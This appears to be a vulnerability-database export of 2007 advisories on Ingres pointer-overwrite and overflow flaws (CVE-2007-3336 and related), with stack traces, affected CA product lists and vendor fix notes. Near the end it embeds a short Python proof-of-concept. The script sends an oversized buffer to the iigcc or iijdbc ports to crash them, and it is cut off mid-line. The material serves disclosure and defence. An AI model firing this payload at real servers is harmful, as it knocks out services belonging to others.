{"id": "SECURITYVULNS:DOC:17345", "bulletinFamily": "software", "title": "Ingres Unauthenticated Pointer Overwrite 1", "description": "=======\r\nSummary\r\n=======\r\nName: Ingres remote unauthenticated pointer overwrite 1\r\nRelease Date: 25 June 2007\r\nReference: NGS00391\r\nDiscover: Chris Anley <chris@ngssoftware.com>\r\nVendor: Ingres\r\nVendor Reference: Ingres bug 115927, CVE-2007-3336, CAID 35450\r\nSystems Affected: Ingres 2006 9.0.4 and prior\r\nRisk: Critical\r\nStatus: Published\r\n\r\n========\r\nTimeLine\r\n========\r\nDiscovered: 29 March 2006\r\nReleased: 29 March 2006\r\nApproved: 29 March 2006\r\nReported: 29 March 2006\r\nFixed: 21 June 2007\r\nPublished: 25 June 2007\r\n\r\n===========\r\nDescription\r\n===========\r\nIngres 2006 is a venerable and functionality-rich RDBMS that has\r\nrecently been made available under the Gnu Public License (GPL).\r\n\r\nThere is a controllable pointer overwrite vulnerability in Ingres 2006\r\nthat occurs prior to authentication, that could allow an unauthenticated\r\nattacker to execute arbitrary code within the context of the database\r\nserver.\r\n\r\n=================\r\nTechnical Details\r\n=================\r\nThe Ingres Communications Server Process (iigcc) listens on TCP port\r\n21064 in a default Linux install of Ingres 2006.\r\n\r\nIf a connection is made and data of a specific form is sent to this TCP\r\nport twice in rapid succession, iigcc will call the QUremove function\r\nwith an attacker-controlled argument. QUremove then overwrites an\r\naddress controlled by the attacker with a value controlled by the\r\nattacker, thereby allowing the attacker to gain control of the flow of\r\nexecution.\r\n\r\nThe stack trace at the point of the controllable overwrite is as follows:\r\n\r\n(gdb) info stack\r\n#0 0x08089648 in QUremove ()\r\n#1 0x0805f08a in gcc_al ()\r\n#2 0x0805aabf in gcc_plout_exec ()\r\n#3 0x080598ee in gcc_pl_event ()\r\n#4 0x080596e4 in gcc_pl ()\r\n#5 0x080595b5 in gcc_slout_exec ()\r\n#6 0x0805794c in gcc_sl_event ()\r\n#7 0x08057744 in gcc_sl ()\r\n#8 0x0805692e in gcc_tlout_exec ()\r\n#9 0x08054469 in gcc_tl_event ()\r\n#10 0x08054238 in gcc_tl ()\r\n#11 0x0805566a in gcc_tl_exit ()\r\n#12 0x0809a25f in GCbssm ()\r\n#13 0x08083b0e in ii_CL_poll_call ()\r\n#14 0x08083921 in iiCLpoll ()\r\n#15 0x08080122 in GCexec ()\r\n#16 0x0805307c in main ()\r\n\r\nProof of concept code that demonstrates this issue has been provided to\r\nthe vendor.\r\n\r\n===============\r\nFix Information\r\n===============\r\nIngres issued a patch for this issue on the 21st June 2007.\r\n\r\nFurther details are available at\r\nhttp://supportconnectw.ca.com/public/ca_common_docs/ingresvuln_letter.asp\r\n\r\nNote that this issue affects a wide range of Computer Associates\r\nproducts. A list of these products is available at\r\nhttp://www.ca.com/us/securityadvisor/newsinfo/collateral.aspx?cid=145778\r\n\r\nThe affected products are listed below:\r\n\r\nAdvantage Data Transformer r2.2\r\nAllFusion Enterprise Workbench r1.1, 1.1 SP1, r7, r7.1\r\nAllFusion Harvest Change Manager r7, r7.1\r\nBrightStor ARCserve Backup v9 (Linux only), r11.1, r11.5 (Unix, Linux and\r\nMainframe Linux)\r\nBrightStor ARCserve Backup for Laptops and Desktops r11.5\r\nBrightStor Enterprise Backup (Unix only) r10.5\r\nBrightStor Storage Command Center r11.5\r\nBrightStor Storage Resource Manager r11.5\r\nCleverPath Aion Business Rules Expert r10.1\r\nCleverPath Aion Business Process Monitoring r10.1\r\nCleverPath Predictive Analysis Server r3\r\nDocServer 1.1\r\neTrust Admin v8, v8.1, r8.1 SP1, r8.1 SP2\r\neTrust Audit r8 SP2\r\neTrust Directory r8.1\r\neTrust IAM Suite r8.0\r\neTrust IAM Toolkit r8.0, r8.1\r\neTrust Identity Manager r8.1\r\neTrust Network Forensics r8.1\r\neTrust Secure Content Manager r8\r\neTrust Single Sign-On r7, r8, r8.1\r\neTrust Web Access Control 1.0\r\nUnicenter Advanced Systems Management r11\r\nUnicenter Asset Intelligence r11\r\nUnicenter Asset Management r11\r\nUnicenter Asset Portfolio Management r11.2.1, r11.3 Unicenter CCS r11\r\nUnicenter Database Command Center r11.1\r\nUnicenter Desktop and Server Management r11\r\nUnicenter Desktop Management Suite r11\r\nUnicenter Enterprise Job Manager r1 SP3, r1 SP4\r\nUnicenter Job Management Option r11\r\nUnicenter Lightweight Portal 2\r\nUnicenter Management Portal r3.1.1\r\nUnicenter Network and Systems Management r3.0, r11\r\nUnicenter Network and Systems Management - Tiered - Multi Platform r3.0\r\n0305, r3.1 0403, r11.0\r\nUnicenter Patch Management r11\r\nUnicenter Remote Control 6, r11\r\nUnicenter Service Accounting r11, r11.1\r\nUnicenter Service Assure r2.2, r11, r11.1\r\nUnicenter Service Catalog r11, r11.1\r\nUnicenter Service Delivery r11.0, r11.1\r\nUnicenter Service Intelligence r11\r\nUnicenter Service Metric Analysis r3.0.2, r3.5, r11, r11.1\r\nUnicenter ServicePlus Service Desk 5.5 SP3, 6.0, 6.0 SP1, r11, r11.1,\r\nr11.2\r\nUnicenter Software Delivery r11\r\nUnicenter TNG 2.4, 2.4.2, 2.4.2J\r\nUnicenter Workload Control Center r1 SP3, r1 SP4\r\nUnicenter Web Services Distributed Management 3.11, 3.50\r\nWily SOA Manager 7.1\r\n\r\nNGSSoftware Insight Security Research\r\nhttp://www.ngssoftware.com/\r\nhttp://www.databasesecurity.com/\r\nhttp://www.nextgenss.com/\r\n+44(0)208 401 0070\r\n--\r\nE-MAIL DISCLAIMER\r\n\r\nThe information contained in this email and any subsequent\r\ncorrespondence is private, is solely for the intended recipient(s) and\r\nmay contain confidential or privileged information. For those other than\r\nthe intended recipient(s), any disclosure, copying, distribution, or any\r\nother action taken, or omitted to be taken, in reliance on such\r\ninformation is prohibited and may be unlawful. If you are not the\r\nintended recipient and have received this message in error, please\r\ninform the sender and delete this mail and any attachments.\r\n\r\nThe views expressed in this email do not necessarily reflect NGS policy.\r\nNGS accepts no liability or responsibility for any onward transmission\r\nor use of emails and attachments having left the NGS domain.\r\n\r\nNGS and NGSSoftware are trading names of Next Generation Security\r\nSoftware Ltd. Registered office address: 52 Throwley Way, Sutton, SM1\r\n4BF with Company Number 04225835 and VAT Number 783096402", "published": "2007-06-26T00:00:00", "modified": "2007-06-26T00:00:00", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:17345", "reporter": "Securityvulns", "references": [], "cvelist": ["CVE-2007-3336"], "type": "securityvulns", "lastseen": "2018-08-31T11:10:22", "edition": 1, "viewCount": 13, "enchantments": {"score": {"value": 7.4, "vector": "NONE"}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2007-3336"]}, {"type": "exploitdb", "idList": ["EDB-ID:14646", "EDB-ID:30224"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:215A9E0E73AB212DC489033AC4E72DB6", "EXPLOITPACK:DAAC4C42D5378F08D46B31B383CA6A3B"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:92818"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:DOC:17327", "SECURITYVULNS:DOC:17341", "SECURITYVULNS:VULN:7841"]}, {"type": "seebug", "idList": ["SSV:69601", "SSV:83664"]}], "rev": 4}, "backreferences": {"references": [{"type": "cve", "idList": ["CVE-2007-3336"]}, {"type": "exploitdb", "idList": ["EDB-ID:14646"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:DAAC4C42D5378F08D46B31B383CA6A3B"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:DOC:17341"]}, {"type": "seebug", "idList": ["SSV:69601"]}]}, "exploitation": null, "vulnersScore": 7.4}, "affectedSoftware": [], "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1646758487}}

{"securityvulns": [{"lastseen": "2018-08-31T11:10:22", "description": "=======\r\nSummary\r\n=======\r\nName: Ingres remote unauthenticated pointer overwrite 2\r\nRelease Date: 25 June 2007\r\nReference: NGS00392\r\nDiscover: Chris Anley &lt;chris@ngssoftware.com&gt;\r\nVendor: Ingres\r\nVendor Reference: [Ingres bug 115927, CVE-2007-3336, CAID 35450]\r\nSystems Affected: Ingres 2006 9.0.4 and prior\r\nRisk: Critical\r\nStatus: Published\r\n\r\n========\r\nTimeLine\r\n========\r\nDiscovered: 29 March 2006\r\nReleased: 29 March 2006\r\nApproved: 29 March 2006\r\nReported: 29 March 2006\r\nFixed: 21 June 2007\r\nPublished: 25 June 2007\r\n\r\n===========\r\nDescription\r\n===========\r\nIngres 2006 is a venerable and functionality-rich RDBMS that has\r\nrecently been made available under the Gnu Public License &#40;GPL&#41;.\r\n\r\nThere is a controllable pointer overwrite vulnerability in Ingres 2006\r\nthat occurs prior to authentication, that could allow an unauthenticated\r\nattacker to execute arbitrary code within the context of the database\r\nserver.\r\n\r\n=================\r\nTechnical Details\r\n=================\r\nThe Ingres Communications Server Process &#40;iigcc&#41; listens on TCP port\r\n21064 in a default Linux install of Ingres 2006.\r\n\r\nIf a connection is made and data of a specific form is sent to this TCP\r\nport repeatedly, with a significant pause between packets, iigcc will\r\ncall the QUinsert function. QUinsert then performs memory manipulations\r\nusing an address controlled by the attacker, ultimately allowing the\r\nattacker to gain control of the flow of execution.\r\n\r\nThe stack trace at the point of the controllable overwrite is as follows:\r\n\r\n&#40;gdb&#41; info stack\r\n#0 0x08089632 in QUinsert &#40;&#41;\r\n#1 0x0805f04e in gcc_al &#40;&#41;\r\n#2 0x08061166 in gcc_alactn_exec &#40;&#41;\r\n#3 0x0805f418 in gcc_al_event &#40;&#41;\r\n#4 0x0805f068 in gcc_al &#40;&#41;\r\n#5 0x0805aabf in gcc_plout_exec &#40;&#41;\r\n#6 0x080598ee in gcc_pl_event &#40;&#41;\r\n#7 0x080596e4 in gcc_pl &#40;&#41;\r\n#8 0x080595b5 in gcc_slout_exec &#40;&#41;\r\n#9 0x0805794c in gcc_sl_event &#40;&#41;\r\n#10 0x08057744 in gcc_sl &#40;&#41;\r\n#11 0x0805692e in gcc_tlout_exec &#40;&#41;\r\n#12 0x08054469 in gcc_tl_event &#40;&#41;\r\n#13 0x08054238 in gcc_tl &#40;&#41;\r\n#14 0x0805566a in gcc_tl_exit &#40;&#41;\r\n#15 0x0809a25f in GCbssm &#40;&#41;\r\n#16 0x08083b0e in ii_CL_poll_call &#40;&#41;\r\n#17 0x08083921 in iiCLpoll &#40;&#41;\r\n#18 0x08080122 in GCexec &#40;&#41;\r\n#19 0x0805307c in main &#40;&#41;\r\n\r\nProof of concept code that demonstrates this issue has been provided to\r\nthe vendor.\r\n\r\n===============\r\nFix Information\r\n===============\r\nIngres issued a patch for this issue on the 21st June 2007.\r\n\r\nFurther details are available at\r\nhttp://supportconnectw.ca.com/public/ca_common_docs/ingresvuln_letter.asp\r\n\r\nNote that this issue affects a wide range of Computer Associates\r\nproducts. A list of these products is available at\r\nhttp://www.ca.com/us/securityadvisor/newsinfo/collateral.aspx?cid=145778\r\n\r\nThe affected products are listed below:\r\n\r\nAdvantage Data Transformer r2.2\r\nAllFusion Enterprise Workbench r1.1, 1.1 SP1, r7, r7.1\r\nAllFusion Harvest Change Manager r7, r7.1\r\nBrightStor ARCserve Backup v9 &#40;Linux only&#41;, r11.1, r11.5 &#40;Unix, Linux and\r\nMainframe Linux&#41;\r\nBrightStor ARCserve Backup for Laptops and Desktops r11.5\r\nBrightStor Enterprise Backup &#40;Unix only&#41; r10.5\r\nBrightStor Storage Command Center r11.5\r\nBrightStor Storage Resource Manager r11.5\r\nCleverPath Aion Business Rules Expert r10.1\r\nCleverPath Aion Business Process Monitoring r10.1\r\nCleverPath Predictive Analysis Server r3\r\nDocServer 1.1\r\neTrust Admin v8, v8.1, r8.1 SP1, r8.1 SP2\r\neTrust Audit r8 SP2\r\neTrust Directory r8.1\r\neTrust IAM Suite r8.0\r\neTrust IAM Toolkit r8.0, r8.1\r\neTrust Identity Manager r8.1\r\neTrust Network Forensics r8.1\r\neTrust Secure Content Manager r8\r\neTrust Single Sign-On r7, r8, r8.1\r\neTrust Web Access Control 1.0\r\nUnicenter Advanced Systems Management r11\r\nUnicenter Asset Intelligence r11\r\nUnicenter Asset Management r11\r\nUnicenter Asset Portfolio Management r11.2.1, r11.3 Unicenter CCS r11\r\nUnicenter Database Command Center r11.1\r\nUnicenter Desktop and Server Management r11\r\nUnicenter Desktop Management Suite r11\r\nUnicenter Enterprise Job Manager r1 SP3, r1 SP4\r\nUnicenter Job Management Option r11\r\nUnicenter Lightweight Portal 2\r\nUnicenter Management Portal r3.1.1\r\nUnicenter Network and Systems Management r3.0, r11\r\nUnicenter Network and Systems Management - Tiered - Multi Platform r3.0\r\n0305, r3.1 0403, r11.0\r\nUnicenter Patch Management r11\r\nUnicenter Remote Control 6, r11\r\nUnicenter Service Accounting r11, r11.1\r\nUnicenter Service Assure r2.2, r11, r11.1\r\nUnicenter Service Catalog r11, r11.1\r\nUnicenter Service Delivery r11.0, r11.1\r\nUnicenter Service Intelligence r11\r\nUnicenter Service Metric Analysis r3.0.2, r3.5, r11, r11.1\r\nUnicenter ServicePlus Service Desk 5.5 SP3, 6.0, 6.0 SP1, r11, r11.1,\r\nr11.2\r\nUnicenter Software Delivery r11\r\nUnicenter TNG 2.4, 2.4.2, 2.4.2J\r\nUnicenter Workload Control Center r1 SP3, r1 SP4\r\nUnicenter Web Services Distributed Management 3.11, 3.50\r\nWily SOA Manager 7.1\r\n\r\nNGSSoftware Insight Security Research\r\nhttp://www.ngssoftware.com/\r\nhttp://www.databasesecurity.com/\r\nhttp://www.nextgenss.com/\r\n+44&#40;0&#41;208 401 0070\r\n--\r\nE-MAIL DISCLAIMER\r\n\r\nThe information contained in this email and any subsequent\r\ncorrespondence is private, is solely for the intended recipient&#40;s&#41; and\r\nmay contain confidential or privileged information. For those other than\r\nthe intended recipient&#40;s&#41;, any disclosure, copying, distribution, or any\r\nother action taken, or omitted to be taken, in reliance on such\r\ninformation is prohibited and may be unlawful. If you are not the\r\nintended recipient and have received this message in error, please\r\ninform the sender and delete this mail and any attachments.\r\n\r\nThe views expressed in this email do not necessarily reflect NGS policy.\r\nNGS accepts no liability or responsibility for any onward transmission\r\nor use of emails and attachments having left the NGS domain.\r\n\r\nNGS and NGSSoftware are trading names of Next Generation Security\r\nSoftware Ltd. Registered office address: 52 Throwley Way, Sutton, SM1\r\n4BF with Company Number 04225835 and VAT Number 783096402", "edition": 1, "cvss3": {}, "published": "2007-06-26T00:00:00", "title": "Ingres Unauthenticated Pointer Overwrite 2", "type": "securityvulns", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2007-3336"], "modified": "2007-06-26T00:00:00", "id": "SECURITYVULNS:DOC:17341", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:17341", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-08-31T11:10:22", "bulletinFamily": "software", "cvelist": ["CVE-2007-3334", "CVE-2007-3336", "CVE-2007-3337", "CVE-2007-3338"], "description": "-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\nTitle: [CAID 35450, 35451, 35452, 35453]: CA Products That Embed \r\nIngres Multiple Vulnerabilities\r\n\r\nCA Vuln ID &#40;CAID&#41;: 35450, 35451, 35452, 35453\r\n\r\nCA Advisory Date: 2007-06-21\r\n\r\nReported By: NGSSoftware, and iDefense\r\n\r\nImpact: Attackers can potentially execute arbitrary code, or \r\noverwrite files.\r\n\r\nSummary: Various CA products that embed Ingres products contain \r\nmultiple vulnerabilities that can allow an attacker to potentially \r\nexecute arbitrary code. CA has issued fixes, to address all of \r\nthese vulnerabilities, for all supported CA products that may be \r\naffected.\r\n\r\n1&#41; Ingres controllable pointer overwrite vulnerability &#40;reported \r\nby NGSSoftware&#41; [Ingres bug 115927, CVE-2007-3336, CAID 35450]\r\nDescription: An unauthenticated attacker can potentially execute \r\narbitrary code within the context of the database server.\r\n\r\n2&#41; Ingres remote unauthenticated pointer overwrite #2 &#40;reported by \r\nNGSSoftware&#41; [Ingres bug 115927, CVE-2007-3336, CAID 35450]\r\nDescription: An unauthenticated attacker can exploit a pointer \r\noverwrite vulnerability to execute arbitrary code within the \r\ncontext of the database server.\r\n\r\n3&#41; Ingres wakeup file overwrite &#40;reported by NGSSoftware&#41; \r\n[Ingres bug 115913, CVE-2007-3337, CAID 35451]\r\nDescription: The &quot;wakeup&quot; binary creates a file named \r\n&quot;alarmwkp.def&quot; in the current directory, truncating the file if it \r\nalready exists. The &quot;wakeup&quot; binary is setuid &quot;ingres&quot; and \r\nworld-executable. Consequently, an attacker can truncate a file \r\nwith the privileges of the &quot;ingres&quot; user.\r\n\r\n4&#41; Ingres uuid_from_char stack overflow &#40;reported by NGSSoftware&#41; \r\n[Ingres bug 115911, CVE-2007-3338, CAID 35452]\r\nDescription: An attacker can pass a long string as an argument to \r\nuuid_from_char&#40;&#41; to cause a stack buffer overflow and the saved \r\nreturned address can be overwritten.\r\n\r\n5&#41; Ingres verifydb local stack overflow &#40;reported by NGSSoftware&#41; \r\n[Ingres bug 115911, CVE-2007-3338, CAID 35452]\r\nDescription: A local attacker can exploit a stack overflow in the \r\nIngres verifydb utility duve_get_args function.\r\n\r\n6&#41; Communication server heap corruption &#40;reported by iDefense&#41; \r\n[Ingres bug 117523, CVE-2007-3334, CAID 35453]\r\nDescription: An attacker can execute arbitrary code within the \r\ncontext of the communications server &#40;iigcc.exe&#41;. This only \r\naffects Ingres on the Windows operating system. Reported by \r\niDefense as IDEF2023.\r\n\r\n7&#41; Data Access/JDBC server heap corruption &#40;reported by iDefense&#41; \r\n[Ingres bug 117523, CVE-2007-3334, CAID 35453]\r\nDescription: An attacker can execute arbitrary code within the \r\ncontext of the Data Access server &#40;iigcd.exe&#41; in r3 or the JDCB \r\nserver in older releases. This only affects Ingres on the Windows \r\noperating system. Reported by iDefense as IDEF2022.\r\n\r\nMitigating Factors: None\r\n\r\nSeverity: CA has given these vulnerabilities a cumulative High \r\nrisk rating.\r\n\r\nAffected Products:\r\nAdvantage Data Transformer r2.2\r\nAllFusion Enterprise Workbench r1.1, 1.1 SP1, r7, r7.1\r\nAllFusion Harvest Change Manager r7, r7.1\r\nBrightStor ARCserve Backup v9 &#40;Linux only&#41;, r11.1, r11.5 &#40;Unix, \r\n Linux and Mainframe Linux&#41;\r\nBrightStor ARCserve Backup for Laptops and Desktops r11.5\r\nBrightStor Enterprise Backup &#40;Unix only&#41; r10.5\r\nBrightStor Storage Command Center r11.5\r\nBrightStor Storage Resource Manager r11.5\r\nCleverPath Aion Business Rules Expert r10.1\r\nCleverPath Aion Business Process Monitoring r10.1\r\nCleverPath Predictive Analysis Server r3\r\nDocServer 1.1\r\neTrust Admin v8, v8.1, r8.1 SP1, r8.1 SP2\r\neTrust Audit r8 SP2\r\neTrust Directory r8.1\r\neTrust IAM Suite r8.0\r\neTrust IAM Toolkit r8.0, r8.1\r\neTrust Identity Manager r8.1\r\neTrust Network Forensics r8.1\r\neTrust Secure Content Manager r8\r\neTrust Single Sign-On r7, r8, r8.1\r\neTrust Web Access Control 1.0\r\nUnicenter Advanced Systems Management r11\r\nUnicenter Asset Intelligence r11\r\nUnicenter Asset Management r11\r\nUnicenter Asset Portfolio Management r11.2.1, r11.3\r\nUnicenter CCS r11\r\nUnicenter Database Command Center r11.1\r\nUnicenter Desktop and Server Management r11\r\nUnicenter Desktop Management Suite r11\r\nUnicenter Enterprise Job Manager r1 SP3, r1 SP4\r\nUnicenter Job Management Option r11\r\nUnicenter Lightweight Portal 2\r\nUnicenter Management Portal r3.1.1\r\nUnicenter Network and Systems Management r3.0, r11\r\nUnicenter Network and Systems Management - Tiered - Multi Platform \r\n r3.0 0305, r3.1 0403, r11.0\r\nUnicenter Patch Management r11\r\nUnicenter Remote Control 6, r11\r\nUnicenter Service Accounting r11, r11.1\r\nUnicenter Service Assure r2.2, r11, r11.1\r\nUnicenter Service Catalog r11, r11.1\r\nUnicenter Service Delivery r11.0, r11.1\r\nUnicenter Service Intelligence r11\r\nUnicenter Service Metric Analysis r3.0.2, r3.5, r11, r11.1\r\nUnicenter ServicePlus Service Desk 5.5 SP3, 6.0, 6.0 SP1, r11, \r\n r11.1, r11.2\r\nUnicenter Software Delivery r11\r\nUnicenter TNG 2.4, 2.4.2, 2.4.2J\r\nUnicenter Workload Control Center r1 SP3, r1 SP4\r\nUnicenter Web Services Distributed Management 3.11, 3.50\r\nWily SOA Manager 7.1\r\n\r\nAffected Platforms:\r\nAll operating system platforms supported by the various CA \r\nproducts that embed Ingres. This includes Windows, Linux, and \r\nsupported UNIX platforms.\r\n\r\nStatus and Recommendation:\r\nCA recommends that customers apply the appropriate fix&#40;es&#41; listed \r\non the Security Notice page: \r\nhttp://supportconnectw.ca.com/premium/ca_common_docs/ingres/ingres_secnotic\r\ne.asp\r\n\r\nWorkaround: None\r\n\r\nReferences &#40;URLs may wrap&#41;:\r\nCA SupportConnect:\r\nhttp://supportconnect.ca.com/\r\nCA SupportConnect Security Notice for these vulnerabilities:\r\nIngres Security Alert\r\nhttp://supportconnectw.ca.com/public/ca_common_docs/ingresvuln_letter.asp\r\nImportant Security Notice for Customers Using Products That Embed \r\nIngres\r\nhttp://supportconnectw.ca.com/premium/ca_common_docs/ingres/ingres_secnotic\r\ne.asp\r\nCA Security Advisor posting: \r\nCA Products That Embed Ingres Multiple Vulnerabilities\r\nhttp://www.ca.com/us/securityadvisor/newsinfo/collateral.aspx?cid=145778\r\nCA Vuln ID &#40;CAID&#41;: 35450, 35451, 35452, 35453\r\nhttp://www.ca.com/us/securityadvisor/vulninfo/vuln.aspx?id=35450\r\nhttp://www.ca.com/us/securityadvisor/vulninfo/vuln.aspx?id=35451\r\nhttp://www.ca.com/us/securityadvisor/vulninfo/vuln.aspx?id=35452\r\nhttp://www.ca.com/us/securityadvisor/vulninfo/vuln.aspx?id=35453\r\nIngres knowledge base document:\r\nhttp://servicedesk.ingres.com/CAisd/pdmweb.ingres?OP=SHOW_DETAIL+PERSID=KD:\r\n415738+HTMPL=kt_document_view.htmpl\r\nReported By: NGSSoftware, and iDefense\r\nNGSSoftware Advisory: \r\nhttp://www.ngssoftware.com/research/advisories/\r\niDefense Advisory: \r\nIngres Database Multiple Heap Corruption Vulnerabilities\r\nhttp://labs.idefense.com/intelligence/vulnerabilities/display.php?id=546\r\nCVE References:\r\nCVE-2007-3336, CVE-2007-3337, CVE-2007-3338, CVE-2007-3334\r\nhttp://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3336\r\nhttp://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3337\r\nhttp://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3338\r\nhttp://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3334\r\nOSVDB References: Pending\r\nhttp://osvdb.org/\r\n\r\nChangelog for this advisory:\r\nv1.0 - Initial Release\r\n\r\nCustomers who require additional information should contact CA\r\nTechnical Support at http://supportconnect.ca.com.\r\n\r\nFor technical questions or comments related to this advisory, \r\nplease send email to vuln AT ca DOT com.\r\n\r\nIf you discover a vulnerability in CA products, please report your\r\nfindings to vuln AT ca DOT com, or utilize our &quot;Submit a \r\nVulnerability&quot; form. \r\nURL: http://www.ca.com/us/securityadvisor/vulninfo/submit.aspx\r\n\r\n\r\nRegards,\r\nKen Williams ; 0xE2941985\r\nDirector, CA Vulnerability Research\r\n\r\nCA, 1 CA Plaza, Islandia, NY 11749\r\n \r\nContact http://www.ca.com/us/contact/\r\nLegal Notice http://www.ca.com/us/legal/\r\nPrivacy Policy http://www.ca.com/us/privacy/\r\nCopyright &#40;c&#41; 2007 CA. All rights reserved.\r\n\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: PGP Desktop 9.5.3 &#40;Build 5003&#41;\r\n\r\nwj8DBQFGe9YqeSWR3+KUGYURAvY1AJ9hZG1D3gnNiE9proluMzGi9/X21wCeKlmm\r\nfcGU0w2ZcX1NIj3oxbnOLzI=\r\n=Nzdp\r\n-----END PGP SIGNATURE-----\r\n_______________________________________________\r\nFull-Disclosure - We believe in it.\r\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\r\nHosted and sponsored by Secunia - http://secunia.com/", "edition": 1, "modified": "2007-06-22T00:00:00", "published": "2007-06-22T00:00:00", "id": "SECURITYVULNS:DOC:17327", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:17327", "title": "[Full-disclosure] [CAID 35450, 35451, 35452, 35453]: CA Products That Embed Ingres Multiple Vulnerabilities", "type": "securityvulns", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2021-06-08T19:00:06", "description": "Multiple heap buffers overflows on TCP/10916 and TCP/10923 requests parsing. Local unauthorized files access with &#39;wakeup&#39;. Buffer overflow in uuid_from_char&#40;&#41; SQL function, privilege escalation.", "edition": 2, "cvss3": {}, "published": "2007-12-24T00:00:00", "title": "Ingres database / CA security products multiple security vulnerabilities", "type": "securityvulns", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2007-3334", "CVE-2007-3336", "CVE-2007-6334", "CVE-2007-3337", "CVE-2007-3338"], "modified": "2007-12-24T00:00:00", "id": "SECURITYVULNS:VULN:7841", "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:7841", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "cve": [{"lastseen": "2022-03-23T12:30:34", "description": "Multiple \"pointer overwrite\" vulnerabilities in Ingres database server 2006 9.0.4, r3, 2.6, and 2.5, as used in multiple CA (formerly Computer Associates) products, allow remote attackers to execute arbitrary code by sending certain TCP data at different times to the Ingres Communications Server Process (iigcc), which calls the (1) QUinsert or (2) QUremove functions with attacker-controlled input.", "cvss3": {}, "published": "2007-06-22T18:30:00", "type": "cve", "title": "CVE-2007-3336", "cwe": ["NVD-CWE-Other"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": true, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-3336"], "modified": "2018-10-16T16:48:00", "cpe": ["cpe:/a:ingres:database_server:9.0.4", "cpe:/a:ingres:database_server:r3", "cpe:/a:ingres:database_server:2.6", "cpe:/a:ingres:database_server:2.5"], "id": "CVE-2007-3336", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-3336", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:a:ingres:database_server:r3:*:*:*:*:*:*:*", "cpe:2.3:a:ingres:database_server:2.5:*:*:*:*:*:*:*", "cpe:2.3:a:ingres:database_server:9.0.4:*:*:*:*:*:*:*", "cpe:2.3:a:ingres:database_server:2.6:*:*:*:*:*:*:*"]}], "seebug": [{"lastseen": "2017-11-19T16:57:07", "description": "No description provided by source.", "cvss3": {}, "published": "2014-07-01T00:00:00", "title": "CA Advantage Ingres 2.6 - Multiple Buffer Overflow Vulnerabilities PoC", "type": "seebug", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2007-3336", "CVE-2007-3338"], "modified": "2014-07-01T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-69601", "id": "SSV:69601", "sourceData": "\n # Exploit Title: Computer Associates Advantage Ingres 2.6 Multiple Buffer Overflow Vulnerabilities PoC\r\n# Date: 2010-08-14\r\n# Author: fdisk (@fdiskyou)\r\n# e-mail: fdiskyou at deniable.org\r\n# Version: 2.6\r\n# Tested on: Windows 2003 Server SP1 en\r\n# CVE: CVE-2007-3336 - CVE-2007-3338\r\n# Notes: Fixed in the last version.\r\n# iigcc - EDX holds a pointer that&#39;s overwritten at byte 2106 and it crashes while executing\r\n# MOV EAX,DWORD PTR DS:[EDX+8]\r\n# iijdbc - EDI holds a pointer that&#39;s overwritten at byte 1066 and it crashes while executing \r\n# CMP ECX,DWORD PTR DS:[EDI+4]\r\n# please let me know if you are/were able to get code execution\r\n\r\nimport socket\r\nimport sys\r\n\r\nif len(sys.argv) != 4:\r\n print &#34;Usage: ./CAAdvantageDoS.py &#60;Target IP&#62; &#60;Port&#62; &#60;Service&#62;&#34;\r\n print &#34;Vulnerable Services: iigcc, iijdbc&#34;\r\n sys.exit(1)\r\n\r\nhost = sys.argv[1]\r\nport = int(sys.argv[2])\r\nservice = sys.argv[3]\r\n\r\nif service == &#34;iigcc&#34;:\r\n payload = &#34;\\x41&#34; * 2106\r\nelif service == &#34;iijdbc&#34;:\r\n payload = &#34;\\x41&#34; * 1066\r\nelse:\r\n print &#34;Vulnerable Services: iigcc, iijdbc&#34;\r\n sys.exit(1)\r\n\r\npayload += &#34;\\x42&#34; * 4\r\n\r\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\ns.connect((host, port))\r\nprint &#34;Sending payload&#34;\r\ns.send(payload)\r\ndata = s.recv(1024)\r\ns.close()\r\nprint &#39;Received&#39;, repr(data)\r\n\r\nprint service + &#34; 